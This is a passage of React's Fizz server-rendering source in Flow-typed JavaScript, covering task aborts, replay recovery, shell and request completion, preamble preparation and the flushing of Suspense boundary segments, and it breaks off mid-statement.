this\n        // preparation work during the work phase rather than the when flushing.\n        preparePreamble(request);\n      }\n    }\n  }\n\n  if (request.allPendingTasks === 0) {\n    completeAll(request);\n  }\n}\n\nfunction abortTaskSoft(this: Request, task: Task): void {\n  // This aborts task without aborting the parent boundary that it blocks.\n  // It's used for when we didn't need this task to complete the tree.\n  // If task was needed, then it should use abortTask instead.\n  const request: Request = this;\n  const boundary = task.blockedBoundary;\n  const segment = task.blockedSegment;\n  if (segment !== null) {\n    segment.status = ABORTED;\n    finishedTask(request, boundary, task.row, segment);\n  }\n}\n\nfunction abortRemainingSuspenseBoundary(\n  request: Request,\n  rootSegmentID: number,\n  error: mixed,\n  errorDigest: ?string,\n  errorInfo: ThrownInfo,\n  wasAborted: boolean,\n): void {\n  const resumedBoundary = createSuspenseBoundary(\n    request,\n    null,\n    new Set(),\n    null,\n    false,\n  );\n  resumedBoundary.parentFlushed = true;\n  // We restore the same id of this boundary as was used during prerender.\n  resumedBoundary.rootSegmentID = rootSegmentID;\n\n  resumedBoundary.status = CLIENT_RENDERED;\n  encodeErrorForBoundary(\n    resumedBoundary,\n    errorDigest,\n    error,\n    errorInfo,\n    wasAborted,\n  );\n\n  if (resumedBoundary.parentFlushed) {\n    request.clientRenderedBoundaries.push(resumedBoundary);\n  }\n}\n\nfunction abortRemainingReplayNodes(\n  request: Request,\n  boundary: Root | SuspenseBoundary,\n  nodes: Array<ReplayNode>,\n  slots: ResumeSlots,\n  error: mixed,\n  errorDigest: ?string,\n  errorInfo: ThrownInfo,\n  aborted: boolean,\n): void {\n  for (let i = 0; i < nodes.length; i++) {\n    const node = nodes[i];\n    if (node.length === 4) {\n      abortRemainingReplayNodes(\n        request,\n        boundary,\n        node[2],\n        node[3],\n        error,\n        errorDigest,\n        errorInfo,\n        aborted,\n      );\n    } else {\n      const boundaryNode: ReplaySuspenseBoundary = node;\n      const rootSegmentID = boundaryNode[5];\n      abortRemainingSuspenseBoundary(\n        request,\n        rootSegmentID,\n        error,\n        errorDigest,\n        errorInfo,\n        aborted,\n      );\n    }\n  }\n  // Empty the set, since we've cleared it now.\n  nodes.length = 0;\n\n  if (slots !== null) {\n    // We had something still to resume in the parent boundary. We must trigger\n    // the error on the parent boundary since it's not able to complete.\n    if (boundary === null) {\n      throw new Error(\n        'We should not have any resumable nodes in the shell. ' +\n          'This is a bug in React.',\n      );\n    } else if (boundary.status !== CLIENT_RENDERED) {\n      boundary.status = CLIENT_RENDERED;\n      encodeErrorForBoundary(boundary, errorDigest, error, errorInfo, aborted);\n      if (boundary.parentFlushed) {\n        request.clientRenderedBoundaries.push(boundary);\n      }\n    }\n    // Empty the set\n    if (typeof slots === 'object') {\n      for (const index in slots) {\n        delete slots[(index: any)];\n      }\n    }\n  }\n}\n\nfunction abortTask(task: Task, request: Request, error: mixed): void {\n  // This aborts the task and aborts the parent that it blocks, putting it into\n  // client rendered mode.\n  const boundary = task.blockedBoundary;\n  const segment = task.blockedSegment;\n  if (segment !== null) {\n    if (segment.status === RENDERING) {\n      // This is the a currently rendering Segment. The render itself will\n      // abort the task.\n      return;\n    }\n    segment.status = ABORTED;\n  }\n\n  const errorInfo = getThrownInfo(task.componentStack);\n  if (__DEV__ && enableAsyncDebugInfo) {\n    // If the task is not rendering, then this is an async abort. Conceptually it's as if\n    // the abort happened inside the async gap. The abort reason's stack frame won't have that\n    // on the stack so instead we use the owner stack and debug task of any halted async debug info.\n    let node: any = task.node;\n    if (node !== null && typeof node === 'object') {\n      // Push a fake component stack frame that represents the await.\n      let debugInfo = node._debugInfo;\n      // First resolve lazy nodes to find debug info that has been transferred\n      // to the inner value.\n      while (\n        typeof node === 'object' &&\n        node !== null &&\n        node.$$typeof === REACT_LAZY_TYPE\n      ) {\n        const payload = node._payload;\n        if (payload.status === 'fulfilled') {\n          node = payload.value;\n          continue;\n        }\n        break;\n      }\n      if (\n        typeof node === 'object' &&\n        node !== null &&\n        (isArray(node) ||\n          typeof node[ASYNC_ITERATOR] === 'function' ||\n          node.$$typeof === REACT_ELEMENT_TYPE ||\n          node.$$typeof === REACT_LAZY_TYPE) &&\n        isArray(node._debugInfo)\n      ) {\n        debugInfo = node._debugInfo;\n      }\n      pushHaltedAwaitOnComponentStack(task, debugInfo);\n      if (task.thenableState !== null) {\n        pushSuspendedCallSiteOnComponentStack(request, task);\n      }\n    }\n  }\n\n  if (boundary === null) {\n    if (request.status !== CLOSING && request.status !== CLOSED) {\n      const replay: null | ReplaySet = task.replay;\n      if (replay === null) {\n        // We didn't complete the root so we have nothing to show. We can close\n        // the request;\n        if (request.trackedPostpones !== null && segment !== null) {\n          const trackedPostpones = request.trackedPostpones;\n          // We are aborting a prerender and must treat the shell as halted\n          // We log the error but we still resolve the prerender\n          logRecoverableError(request, error, errorInfo, task.debugTask);\n          trackPostpone(request, trackedPostpones, task, segment);\n          finishedTask(request, null, task.row, segment);\n        } else {\n          logRecoverableError(request, error, errorInfo, task.debugTask);\n          fatalError(request, error, errorInfo, task.debugTask);\n        }\n        return;\n      } else {\n        // If the shell aborts during a replay, that's not a fatal error. Instead\n        // we should be able to recover by client rendering all the root boundaries in\n        // the ReplaySet.\n        replay.pendingTasks--;\n        if (replay.pendingTasks === 0 && replay.nodes.length > 0) {\n          const errorDigest = logRecoverableError(\n            request,\n            error,\n            errorInfo,\n            null,\n          );\n          abortRemainingReplayNodes(\n            request,\n            null,\n            replay.nodes,\n            replay.slots,\n            error,\n            errorDigest,\n            errorInfo,\n            true,\n          );\n        }\n        request.pendingRootTasks--;\n        if (request.pendingRootTasks === 0) {\n          completeShell(request);\n        }\n      }\n    }\n  } else {\n    // We construct an errorInfo from the boundary's componentStack so the error in dev will indicate which\n    // boundary the message is referring to\n    const trackedPostpones = request.trackedPostpones;\n    if (boundary.status !== CLIENT_RENDERED) {\n      if (trackedPostpones !== null && segment !== null) {\n        // We are aborting a prerender and must halt this boundary.\n        // We treat this like other postpones during prerendering\n        logRecoverableError(request, error, errorInfo, task.debugTask);\n        trackPostpone(request, trackedPostpones, task, segment);\n        // If this boundary was still pending then we haven't already cancelled its fallbacks.\n        // We'll need to abort the fallbacks, which will also error that parent boundary.\n        boundary.fallbackAbortableTasks.forEach(fallbackTask =>\n          abortTask(fallbackTask, request, error),\n        );\n        boundary.fallbackAbortableTasks.clear();\n        return finishedTask(request, boundary, task.row, segment);\n      }\n      boundary.status = CLIENT_RENDERED;\n      // We are aborting a render or resume which should put boundaries\n      // into an explicitly client rendered state\n      const errorDigest = logRecoverableError(\n        request,\n        error,\n        errorInfo,\n        task.debugTask,\n      );\n      boundary.status = CLIENT_RENDERED;\n      encodeErrorForBoundary(boundary, errorDigest, error, errorInfo, true);\n\n      untrackBoundary(request, boundary);\n\n      if (boundary.parentFlushed) {\n        request.clientRenderedBoundaries.push(boundary);\n      }\n    }\n\n    boundary.pendingTasks--;\n\n    const boundaryRow = boundary.row;\n    if (boundaryRow !== null) {\n      // Unblock the SuspenseListRow that was blocked by this boundary.\n      if (--boundaryRow.pendingTasks === 0) {\n        finishSuspenseListRow(request, boundaryRow);\n      }\n    }\n\n    // If this boundary was still pending then we haven't already cancelled its fallbacks.\n    // We'll need to abort the fallbacks, which will also error that parent boundary.\n    boundary.fallbackAbortableTasks.forEach(fallbackTask =>\n      abortTask(fallbackTask, request, error),\n    );\n    boundary.fallbackAbortableTasks.clear();\n  }\n\n  const row = task.row;\n  if (row !== null) {\n    if (--row.pendingTasks === 0) {\n      finishSuspenseListRow(request, row);\n    }\n  }\n\n  request.allPendingTasks--;\n  if (request.allPendingTasks === 0) {\n    completeAll(request);\n  }\n}\n\nfunction abortTaskDEV(task: Task, request: Request, error: mixed): void {\n  if (__DEV__) {\n    const prevTaskInDEV = currentTaskInDEV;\n    const prevGetCurrentStackImpl = ReactSharedInternals.getCurrentStack;\n    setCurrentTaskInDEV(task);\n    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;\n    try {\n      abortTask(task, request, error);\n    } finally {\n      setCurrentTaskInDEV(prevTaskInDEV);\n      ReactSharedInternals.getCurrentStack = prevGetCurrentStackImpl;\n    }\n  } else {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'abortTaskDEV should never be called in production mode. This is a bug in React.',\n    );\n  }\n}\n\nfunction safelyEmitEarlyPreloads(\n  request: Request,\n  shellComplete: boolean,\n): void {\n  try {\n    emitEarlyPreloads(\n      request.renderState,\n      request.resumableState,\n      shellComplete,\n    );\n  } catch (error) {\n    // We assume preloads are optimistic and thus non-fatal if errored.\n    const errorInfo: ThrownInfo = {};\n    logRecoverableError(request, error, errorInfo, null);\n  }\n}\n\n// I extracted this function out because we want to ensure we consistently emit preloads before\n// transitioning to the next request stage and this transition can happen in multiple places in this\n// implementation.\nfunction completeShell(request: Request) {\n  if (request.trackedPostpones === null) {\n    // We only emit early preloads on shell completion for renders. For prerenders\n    // we wait for the entire Request to finish because we are not responding to a\n    // live request and can wait for as much data as possible.\n\n    // we should only be calling completeShell when the shell is complete so we\n    // just use a literal here\n    const shellComplete = true;\n    safelyEmitEarlyPreloads(request, shellComplete);\n  }\n  if (request.trackedPostpones === null) {\n    // When the shell is complete it will be possible to flush. We attempt to prepre\n    // the Preamble here in case it is ready for flushing.\n    // We exclude prerenders because these cannot flush until after completeAll has been called\n    preparePreamble(request);\n  }\n\n  // We have completed the shell so the shell can't error anymore.\n  request.onShellError = noop;\n  const onShellReady = request.onShellReady;\n  onShellReady();\n}\n\n// I extracted this function out because we want to ensure we consistently emit preloads before\n// transitioning to the next request stage and this transition can happen in multiple places in this\n// implementation.\nfunction completeAll(request: Request) {\n  // During a render the shell must be complete if the entire request is finished\n  // however during a Prerender it is possible that the shell is incomplete because\n  // it postponed. We cannot use rootPendingTasks in the prerender case because\n  // those hit zero even when the shell postpones. Instead we look at the completedRootSegment\n  const shellComplete =\n    request.trackedPostpones === null\n      ? // Render, we assume it is completed\n        true\n      : // Prerender Request, we use the state of the root segment\n        request.completedRootSegment === null ||\n        request.completedRootSegment.status !== POSTPONED;\n  safelyEmitEarlyPreloads(request, shellComplete);\n\n  // When the shell is complete it will be possible to flush. We attempt to prepre\n  // the Preamble here in case it is ready for flushing\n  preparePreamble(request);\n\n  const onAllReady = request.onAllReady;\n  onAllReady();\n}\n\nfunction queueCompletedSegment(\n  boundary: SuspenseBoundary,\n  segment: Segment,\n): void {\n  if (\n    segment.chunks.length === 0 &&\n    segment.children.length === 1 &&\n    segment.children[0].boundary === null &&\n    segment.children[0].id === -1\n  ) {\n    // This is an empty segment. There's nothing to write, so we can instead transfer the ID\n    // to the child. That way any existing references point to the child.\n    const childSegment = segment.children[0];\n    childSegment.id = segment.id;\n    childSegment.parentFlushed = true;\n    if (\n      childSegment.status === COMPLETED ||\n      childSegment.status === ABORTED ||\n      childSegment.status === ERRORED\n    ) {\n      queueCompletedSegment(boundary, childSegment);\n    }\n  } else {\n    const completedSegments = boundary.completedSegments;\n    completedSegments.push(segment);\n  }\n}\n\nfunction finishedSegment(\n  request: Request,\n  boundary: Root | SuspenseBoundary,\n  segment: Segment,\n) {\n  if (byteLengthOfChunk !== null) {\n    // Count the bytes of all the chunks of this segment.\n    const chunks = segment.chunks;\n    let segmentByteSize = 0;\n    for (let i = 0; i < chunks.length; i++) {\n      segmentByteSize += byteLengthOfChunk(chunks[i]);\n    }\n    // Accumulate on the parent boundary to power heuristics.\n    if (boundary === null) {\n      request.byteSize += segmentByteSize;\n    } else {\n      boundary.byteSize += segmentByteSize;\n    }\n  }\n}\n\nfunction finishedTask(\n  request: Request,\n  boundary: Root | SuspenseBoundary,\n  row: null | SuspenseListRow,\n  segment: null | Segment,\n) {\n  if (row !== null) {\n    if (--row.pendingTasks === 0) {\n      finishSuspenseListRow(request, row);\n    } else if (row.together) {\n      tryToResolveTogetherRow(request, row);\n    }\n  }\n  request.allPendingTasks--;\n  if (boundary === null) {\n    if (segment !== null && segment.parentFlushed) {\n      if (request.completedRootSegment !== null) {\n        throw new Error(\n          'There can only be one root segment. This is a bug in React.',\n        );\n      }\n\n      request.completedRootSegment = segment;\n    }\n    request.pendingRootTasks--;\n    if (request.pendingRootTasks === 0) {\n      completeShell(request);\n    }\n  } else {\n    boundary.pendingTasks--;\n    if (boundary.status === CLIENT_RENDERED) {\n      // This already errored.\n    } else if (boundary.pendingTasks === 0) {\n      if (boundary.status === PENDING) {\n        boundary.status = COMPLETED;\n      }\n      // This must have been the last segment we were waiting on. This boundary is now complete.\n      if (segment !== null && segment.parentFlushed) {\n        // Our parent segment already flushed, so we need to schedule this segment to be emitted.\n        // If it is a segment that was aborted, we'll write other content instead so we don't need\n        // to emit it.\n        if (segment.status === COMPLETED || segment.status === ABORTED) {\n          queueCompletedSegment(boundary, segment);\n        }\n      }\n      if (boundary.parentFlushed) {\n        // The segment might be part of a segment that didn't flush yet, but if the boundary's\n        // parent flushed, we need to schedule the boundary to be emitted.\n        request.completedBoundaries.push(boundary);\n      }\n\n      // We can now cancel any pending task on the fallback since we won't need to show it anymore.\n      // This needs to happen after we read the parentFlushed flags because aborting can finish\n      // work which can trigger user code, which can start flushing, which can change those flags.\n      // If the boundary was POSTPONED, we still need to finish the fallback first.\n      // If the boundary is eligible to be outlined during flushing we can't cancel the fallback\n      // since we might need it when it's being outlined.\n      if (boundary.status === COMPLETED) {\n        const boundaryRow = boundary.row;\n        if (boundaryRow !== null) {\n          // Hoist the HoistableState from the boundary to the row so that the next rows\n          // can depend on the same dependencies.\n          hoistHoistables(boundaryRow.hoistables, boundary.contentState);\n        }\n        if (!isEligibleForOutlining(request, boundary)) {\n          boundary.fallbackAbortableTasks.forEach(abortTaskSoft, request);\n          boundary.fallbackAbortableTasks.clear();\n          if (boundaryRow !== null) {\n            // If we aren't eligible for outlining, we don't have to wait until we flush it.\n            if (--boundaryRow.pendingTasks === 0) {\n              finishSuspenseListRow(request, boundaryRow);\n            }\n          }\n        }\n\n        if (\n          request.pendingRootTasks === 0 &&\n          request.trackedPostpones === null &&\n          boundary.preamble !== null\n        ) {\n          // The root is complete and this boundary may contribute part of the preamble.\n          // We eagerly attempt to prepare the preamble here because we expect most requests\n          // to have few boundaries which contribute preambles and it allow us to do this\n          // preparation work during the work phase rather than the when flushing.\n          preparePreamble(request);\n        }\n      } else if (boundary.status === POSTPONED) {\n        const boundaryRow = boundary.row;\n        if (boundaryRow !== null) {\n          if (request.trackedPostpones !== null) {\n            // If this boundary is postponed, then we need to also postpone any blocked boundaries\n            // in the next row.\n            trackPostponedSuspenseListRow(\n              request,\n              request.trackedPostpones,\n              boundaryRow.next,\n            );\n          }\n          if (--boundaryRow.pendingTasks === 0) {\n            // This is really unnecessary since we've already postponed the boundaries but\n            // for pairity with other track+finish paths. We might end up using the hoisting.\n            finishSuspenseListRow(request, boundaryRow);\n          }\n        }\n      }\n    } else {\n      if (segment !== null && segment.parentFlushed) {\n        // Our parent already flushed, so we need to schedule this segment to be emitted.\n        // If it is a segment that was aborted, we'll write other content instead so we don't need\n        // to emit it.\n        if (segment.status === COMPLETED || segment.status === ABORTED) {\n          queueCompletedSegment(boundary, segment);\n          const completedSegments = boundary.completedSegments;\n          if (completedSegments.length === 1) {\n            // This is the first time since we last flushed that we completed anything.\n            // We can schedule this boundary to emit its partially completed segments early\n            // in case the parent has already been flushed.\n            if (boundary.parentFlushed) {\n              request.partialBoundaries.push(boundary);\n            }\n          }\n        }\n      }\n      const boundaryRow = boundary.row;\n      if (boundaryRow !== null && boundaryRow.together) {\n        tryToResolveTogetherRow(request, boundaryRow);\n      }\n    }\n  }\n\n  if (request.allPendingTasks === 0) {\n    completeAll(request);\n  }\n}\n\nfunction retryTask(request: Request, task: Task): void {\n  const segment = task.blockedSegment;\n  if (segment === null) {\n    retryReplayTask(\n      request,\n      // $FlowFixMe: Refined.\n      task,\n    );\n  } else {\n    retryRenderTask(\n      request,\n      // $FlowFixMe: Refined.\n      task,\n      segment,\n    );\n  }\n}\n\nfunction retryRenderTask(\n  request: Request,\n  task: RenderTask,\n  segment: Segment,\n): void {\n  if (segment.status !== PENDING) {\n    // We completed this by other means before we had a chance to retry it.\n    return;\n  }\n\n  // We track when a Segment is rendering so we can handle aborts while rendering\n  segment.status = RENDERING;\n\n  // We restore the context to what it was when we suspended.\n  // We don't restore it after we leave because it's likely that we'll end up\n  // needing a very similar context soon again.\n  switchContext(task.context);\n  let prevTaskInDEV = null;\n  if (__DEV__) {\n    prevTaskInDEV = currentTaskInDEV;\n    setCurrentTaskInDEV(task);\n  }\n\n  const childrenLength = segment.children.length;\n  const chunkLength = segment.chunks.length;\n  try {\n    // We call the destructive form that mutates this task. That way if something\n    // suspends again, we can reuse the same task instead of spawning a new one.\n\n    retryNode(request, task);\n    pushSegmentFinale(\n      segment.chunks,\n      request.renderState,\n      segment.lastPushedText,\n      segment.textEmbedded,\n    );\n\n    task.abortSet.delete(task);\n    segment.status = COMPLETED;\n    finishedSegment(request, task.blockedBoundary, segment);\n    finishedTask(request, task.blockedBoundary, task.row, segment);\n  } catch (thrownValue: mixed) {\n    resetHooksState();\n\n    // Reset the write pointers to where we started.\n    segment.children.length = childrenLength;\n    segment.chunks.length = chunkLength;\n\n    const x =\n      thrownValue === SuspenseException\n        ? // This is a special type of exception used for Suspense. For historical\n          // reasons, the rest of the Suspense implementation expects the thrown\n          // value to be a thenable, because before `use` existed that was the\n          // (unstable) API for suspending. This implementation detail can change\n          // later, once we deprecate the old API in favor of `use`.\n          getSuspendedThenable()\n        : request.status === ABORTING\n          ? request.fatalError\n          : thrownValue;\n\n    if (request.status === ABORTING && request.trackedPostpones !== null) {\n      // We are aborting a prerender and need to halt this task.\n      const trackedPostpones = request.trackedPostpones;\n      const thrownInfo = getThrownInfo(task.componentStack);\n      task.abortSet.delete(task);\n\n      logRecoverableError(\n        request,\n        x,\n        thrownInfo,\n        __DEV__ ? task.debugTask : null,\n      );\n\n      trackPostpone(request, trackedPostpones, task, segment);\n      finishedTask(request, task.blockedBoundary, task.row, segment);\n      return;\n    }\n\n    if (typeof x === 'object' && x !== null) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof x.then === 'function') {\n        // Something suspended again, let's pick it back up later.\n        segment.status = PENDING;\n        task.thenableState =\n          thrownValue === SuspenseException\n            ? getThenableStateAfterSuspending()\n            : null;\n        const ping = task.ping;\n        // We've asserted that x is a thenable above\n        (x: any).then(ping, ping);\n        return;\n      }\n    }\n\n    const errorInfo = getThrownInfo(task.componentStack);\n    task.abortSet.delete(task);\n\n    segment.status = ERRORED;\n    erroredTask(\n      request,\n      task.blockedBoundary,\n      task.row,\n      x,\n      errorInfo,\n      __DEV__ ? task.debugTask : null,\n    );\n    return;\n  } finally {\n    if (__DEV__) {\n      setCurrentTaskInDEV(prevTaskInDEV);\n    }\n  }\n}\n\nfunction retryReplayTask(request: Request, task: ReplayTask): void {\n  if (task.replay.pendingTasks === 0) {\n    // There are no pending tasks working on this set, so we must have aborted.\n    return;\n  }\n\n  // We restore the context to what it was when we suspended.\n  // We don't restore it after we leave because it's likely that we'll end up\n  // needing a very similar context soon again.\n  switchContext(task.context);\n  let prevTaskInDEV = null;\n  if (__DEV__) {\n    prevTaskInDEV = currentTaskInDEV;\n    setCurrentTaskInDEV(task);\n  }\n\n  try {\n    // We call the destructive form that mutates this task. That way if something\n    // suspends again, we can reuse the same task instead of spawning a new one.\n    if (typeof task.replay.slots === 'number') {\n      const resumeSegmentID = task.replay.slots;\n      resumeNode(request, task, resumeSegmentID, task.node, task.childIndex);\n    } else {\n      retryNode(request, task);\n    }\n\n    if (task.replay.pendingTasks === 1 && task.replay.nodes.length > 0) {\n      throw new Error(\n        \"Couldn't find all resumable slots by key/index during replaying. \" +\n          \"The tree doesn't match so React will fallback to client rendering.\",\n      );\n    }\n    task.replay.pendingTasks--;\n\n    task.abortSet.delete(task);\n    finishedTask(request, task.blockedBoundary, task.row, null);\n  } catch (thrownValue) {\n    resetHooksState();\n\n    const x =\n      thrownValue === SuspenseException\n        ? // This is a special type of exception used for Suspense. For historical\n          // reasons, the rest of the Suspense implementation expects the thrown\n          // value to be a thenable, because before `use` existed that was the\n          // (unstable) API for suspending. This implementation detail can change\n          // later, once we deprecate the old API in favor of `use`.\n          getSuspendedThenable()\n        : thrownValue;\n\n    if (typeof x === 'object' && x !== null) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof x.then === 'function') {\n        // Something suspended again, let's pick it back up later.\n        const ping = task.ping;\n        x.then(ping, ping);\n        task.thenableState =\n          thrownValue === SuspenseException\n            ? getThenableStateAfterSuspending()\n            : null;\n        return;\n      }\n    }\n    task.replay.pendingTasks--;\n    task.abortSet.delete(task);\n    const errorInfo = getThrownInfo(task.componentStack);\n    erroredReplay(\n      request,\n      task.blockedBoundary,\n      request.status === ABORTING ? request.fatalError : x,\n      errorInfo,\n      task.replay.nodes,\n      task.replay.slots,\n      __DEV__ ? task.debugTask : null,\n    );\n    request.pendingRootTasks--;\n    if (request.pendingRootTasks === 0) {\n      completeShell(request);\n    }\n    request.allPendingTasks--;\n    if (request.allPendingTasks === 0) {\n      completeAll(request);\n    }\n    return;\n  } finally {\n    if (__DEV__) {\n      setCurrentTaskInDEV(prevTaskInDEV);\n    }\n  }\n}\n\nexport function performWork(request: Request): void {\n  if (request.status === CLOSED || request.status === CLOSING) {\n    return;\n  }\n  const prevContext = getActiveContext();\n  const prevDispatcher = ReactSharedInternals.H;\n  ReactSharedInternals.H = HooksDispatcher;\n  const prevAsyncDispatcher = ReactSharedInternals.A;\n  ReactSharedInternals.A = DefaultAsyncDispatcher;\n\n  const prevRequest = currentRequest;\n  currentRequest = request;\n\n  let prevGetCurrentStackImpl = null;\n  if (__DEV__) {\n    prevGetCurrentStackImpl = ReactSharedInternals.getCurrentStack;\n    ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;\n  }\n  const prevResumableState = currentResumableState;\n  setCurrentResumableState(request.resumableState);\n  try {\n    const pingedTasks = request.pingedTasks;\n    let i;\n    for (i = 0; i < pingedTasks.length; i++) {\n      const task = pingedTasks[i];\n      retryTask(request, task);\n    }\n    pingedTasks.splice(0, i);\n    if (request.destination !== null) {\n      flushCompletedQueues(request, request.destination);\n    }\n  } catch (error) {\n    const errorInfo: ThrownInfo = {};\n    logRecoverableError(request, error, errorInfo, null);\n    fatalError(request, error, errorInfo, null);\n  } finally {\n    setCurrentResumableState(prevResumableState);\n\n    ReactSharedInternals.H = prevDispatcher;\n    ReactSharedInternals.A = prevAsyncDispatcher;\n\n    if (__DEV__) {\n      ReactSharedInternals.getCurrentStack = prevGetCurrentStackImpl;\n    }\n    if (prevDispatcher === HooksDispatcher) {\n      // This means that we were in a reentrant work loop. This could happen\n      // in a renderer that supports synchronous work like renderToString,\n      // when it's called from within another renderer.\n      // Normally we don't bother switching the contexts to their root/default\n      // values when leaving because we'll likely need the same or similar\n      // context again. However, when we're inside a synchronous loop like this\n      // we'll to restore the context to what it was before returning.\n      switchContext(prevContext);\n    }\n    currentRequest = prevRequest;\n  }\n}\n\nfunction preparePreambleFromSubtree(\n  request: Request,\n  segment: Segment,\n  collectedPreambleSegments: Array<Array<Segment>>,\n): boolean {\n  if (segment.preambleChildren.length) {\n    collectedPreambleSegments.push(segment.preambleChildren);\n  }\n  let pendingPreambles = false;\n  for (let i = 0; i < segment.children.length; i++) {\n    const nextSegment = segment.children[i];\n    pendingPreambles =\n      preparePreambleFromSegment(\n        request,\n        nextSegment,\n        collectedPreambleSegments,\n      ) || pendingPreambles;\n  }\n  return pendingPreambles;\n}\n\nfunction preparePreambleFromSegment(\n  request: Request,\n  segment: Segment,\n  collectedPreambleSegments: Array<Array<Segment>>,\n): boolean {\n  const boundary = segment.boundary;\n  if (boundary === null) {\n    // This segment is not a boundary, let's check it's children\n    return preparePreambleFromSubtree(\n      request,\n      segment,\n      collectedPreambleSegments,\n    );\n  }\n\n  const preamble = boundary.preamble;\n  if (preamble === null) {\n    // This boundary cannot have a preamble so it can't block the flushing of\n    // the preamble.\n    return false;\n  }\n\n  const status = boundary.status;\n\n  switch (status) {\n    case COMPLETED: {\n      // This boundary is complete. It might have inner boundaries which are pending\n      // and able to provide a preamble so we have to check it's children\n      hoistPreambleState(request.renderState, preamble.content);\n      // We track this boundary's byteSize on the request since it will always flush with\n      // the request since it may contribute to the preamble\n      request.byteSize += boundary.byteSize;\n      const boundaryRootSegment = boundary.completedSegments[0];\n      if (!boundaryRootSegment) {\n        // Using the same error from flushSegment to avoid making a new one since conceptually the problem is still the same\n        throw new Error(\n          'A previously unvisited boundary must have exactly one root segment. This is a bug in React.',\n        );\n      }\n      return preparePreambleFromSubtree(\n        request,\n        boundaryRootSegment,\n        collectedPreambleSegments,\n      );\n    }\n    case POSTPONED: {\n      // This segment is postponed. When prerendering we consider this pending still because\n      // it can resume. If we're rendering then this is equivalent to errored.\n      if (request.trackedPostpones !== null) {\n        // This boundary won't contribute a preamble to the current prerender\n        return true;\n      }\n      // Expected fallthrough\n    }\n    case CLIENT_RENDERED: {\n      if (segment.status === COMPLETED) {\n        // This boundary is errored so if it contains a preamble we should include it\n        hoistPreambleState(request.renderState, preamble.fallback);\n        return preparePreambleFromSubtree(\n          request,\n          segment,\n          collectedPreambleSegments,\n        );\n      }\n      // Expected fallthrough\n    }\n    default:\n      // This boundary is still pending and might contain a preamble\n      return true;\n  }\n}\n\nfunction preparePreamble(request: Request) {\n  if (\n    request.completedRootSegment &&\n    request.completedPreambleSegments === null\n  ) {\n    const collectedPreambleSegments: Array<Array<Segment>> = [];\n    const originalRequestByteSize = request.byteSize;\n    const hasPendingPreambles = preparePreambleFromSegment(\n      request,\n      request.completedRootSegment,\n      collectedPreambleSegments,\n    );\n    if (isPreambleReady(request.renderState, hasPendingPreambles)) {\n      request.completedPreambleSegments = collectedPreambleSegments;\n    } else {\n      // We restore the original size since the preamble is not ready\n      // and we will prepare it again.\n      request.byteSize = originalRequestByteSize;\n    }\n  }\n}\n\nfunction flushPreamble(\n  request: Request,\n  destination: Destination,\n  rootSegment: Segment,\n  preambleSegments: Array<Array<Segment>>,\n  skipBlockingShell: boolean,\n) {\n  // The preamble is ready.\n  writePreambleStart(\n    destination,\n    request.resumableState,\n    request.renderState,\n    skipBlockingShell,\n  );\n  for (let i = 0; i < preambleSegments.length; i++) {\n    const segments = preambleSegments[i];\n    for (let j = 0; j < segments.length; j++) {\n      flushSegment(request, destination, segments[j], null);\n    }\n  }\n  writePreambleEnd(destination, request.renderState);\n}\n\nfunction flushSubtree(\n  request: Request,\n  destination: Destination,\n  segment: Segment,\n  hoistableState: null | HoistableState,\n): boolean {\n  segment.parentFlushed = true;\n  switch (segment.status) {\n    case PENDING: {\n      // We're emitting a placeholder for this segment to be filled in later.\n      // Therefore we'll need to assign it an ID - to refer to it by.\n      segment.id = request.nextSegmentId++;\n      // Fallthrough\n    }\n    case POSTPONED: {\n      const segmentID = segment.id;\n      // When this segment finally completes it won't be embedded in text since it will flush separately\n      segment.lastPushedText = false;\n      segment.textEmbedded = false;\n      return writePlaceholder(destination, request.renderState, segmentID);\n    }\n    case COMPLETED: {\n      segment.status = FLUSHED;\n      let r = true;\n      const chunks = segment.chunks;\n      let chunkIdx = 0;\n      const children = segment.children;\n\n      for (let childIdx = 0; childIdx < children.length; childIdx++) {\n        const nextChild = children[childIdx];\n        // Write all the chunks up until the next child.\n        for (; chunkIdx < nextChild.index; chunkIdx++) {\n          writeChunk(destination, chunks[chunkIdx]);\n        }\n        r = flushSegment(request, destination, nextChild, hoistableState);\n      }\n      // Finally just write all the remaining chunks\n      for (; chunkIdx < chunks.length - 1; chunkIdx++) {\n        writeChunk(destination, chunks[chunkIdx]);\n      }\n      if (chunkIdx < chunks.length) {\n        r = writeChunkAndReturn(destination, chunks[chunkIdx]);\n      }\n      return r;\n    }\n    case ABORTED: {\n      return true;\n    }\n    default: {\n      throw new Error(\n        'Aborted, errored or already flushed boundaries should not be flushed again. This is a bug in React.',\n      );\n    }\n  }\n}\n\n// Running count for how much bytes of boundaries have flushed inlined into the currently\n// flushing root or completed boundary.\nlet flushedByteSize = 0;\n\nfunction flushSegment(\n  request: Request,\n  destination: Destination,\n  segment: Segment,\n  hoistableState: null | HoistableState,\n): boolean {\n  const boundary = segment.boundary;\n  if (boundary === null) {\n    // Not a suspense boundary.\n    return flushSubtree(request, destination, segment, hoistableState);\n  }\n\n  // We're going to write the boundary. We don't need to maintain this reference since\n  // we might reflush this segment at a later time (if it aborts and we inlined) but\n  // we don't want to reflush the boundary\n  segment.boundary = null;\n  boundary.parentFlushed = true;\n  // This segment is a Suspense boundary. We need to decide whether to\n  // emit the content or the fallback now.\n  if (boundary.status === CLIENT_RENDERED) {\n    // Emit a client rendered suspense boundary wrapper.\n    // We never queue the inner boundary so we'll never emit its content or partial segments.\n\n    const row = boundary.row;\n    if (row !== null) {\n      // Since this boundary end up client rendered, we can unblock future suspense list rows.\n      // This means that they may appear out of order if the future rows succeed but this is\n      // a client rendered row.\n      if (--row.pendingTasks === 0) {\n        finishSuspenseListRow(request, row);\n      }\n    }\n\n    if (__DEV__) {\n      writeStartClientRenderedSuspenseBoundary(\n        destination,\n        request.renderState,\n        boundary.errorDigest,\n        boundary.errorMessage,\n        boundary.errorStack,\n        boundary.errorComponentStack,\n      );\n    } else {\n      writeStartClientRenderedSuspenseBoundary(\n        destination,\n        request.renderState,\n        boundary.errorDigest,\n        null,\n        null,\n        null,\n      );\n    }\n    // Flush the fallback.\n    flushSubtree(request, destination, segment, hoistableState);\n\n    return writeEndClientRenderedSuspenseBoundary(\n      destination,\n      request.renderState,\n    );\n  } else if (boundary.status !== COMPLETED) {\n    if (boundary.status === 